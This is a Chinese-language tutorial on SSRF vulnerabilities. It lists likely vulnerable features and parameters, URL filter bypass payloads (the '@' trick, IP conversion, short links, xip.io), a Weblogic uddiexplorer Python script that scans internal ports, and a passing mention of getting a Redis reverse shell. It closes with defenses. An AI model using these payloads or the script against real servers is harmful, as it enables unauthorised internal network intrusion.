SSRF漏洞
概念:服务端在获取攻击者输入的url时,如果这个过程中,服务端并没有对这个url做任何的限制和过滤,那么就很有可能存在ssrf漏洞。
漏洞利用:SSRF攻击的目标一般是外网无法访问的内部系统。攻击者可以通过构造url对外网,服务器所在内网,本地进行端口扫描;攻击运行在内网或本地的应用程序;对内网web应用指纹识别,通过访问默认文件实现;攻击内外网的web应用;利用file协议读取本地文件。
哪里最可能存在ssrf:
1)通过url分享图片,文章等;
2)转码服务;
3)在线翻译功能;
4)图片通过url加载与下载;
5)图片收藏功能;
6)url关键字:
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
SSRF绕过限制:
1)使用@绕过:http://xx.xxx.com@127.0.0.1 <=>http://127.0.0.1
2)ip地址进行进制转换
3)添加端口号:http://127.0.0.1:8080
4)使用短地址绕过,将原来的网址转换成短地址:http://127.0.0.1 <=>http://dwz.cn/11SMa
5)使用xip.io绕过:http://xx.xxx.com.127.0.0.1.xip.io该请求会解析到http://127.0.0.1
Weblogic SSRF漏洞示例:weblogic ssrf中存在ssrf,利用ssrf漏洞探测到内网ip开放了6379端口,我们都知道6379端口是redis服务的端口,在这里利用redis反弹shell。
修改operator参数,探测内网存在的端口
由下面的图可以知道,当存在某个端口的时候会显示which did not have a valid SOAP,不存在时会有Tired all,所以接下来我们可以直接写个脚本,来探测内网存在的端口,当然也可以直接用常用的端口一个一个试
1 #-*-coding:utf-8-*-
2 import requests
3
4 x = [22,443,3389,6379]
5 for i in x:
6 url = "http://192.168.80.151:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.18.0.2:{port}&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(port=i)
7 r = requests.get(url)
8 if "Tried all" in r.content:
9 continue
10 else:
11 print "开放端口:\n" + str(i)
12 exit(0)
运行后:
SSRF防御方法:
1.黑名单禁用内网IP;
2.禁用不需要的协议,限制请求端口(80,3389,6379等),仅仅允许http或者https请求,比如禁用file:///,gopher://,ftp://等协议;
3.过滤返回信息,返回结果在展示给用户之前检查返回的信息是否符合标准;
4. 统一错误信息,避免攻击者根据错误信息判断端口状态。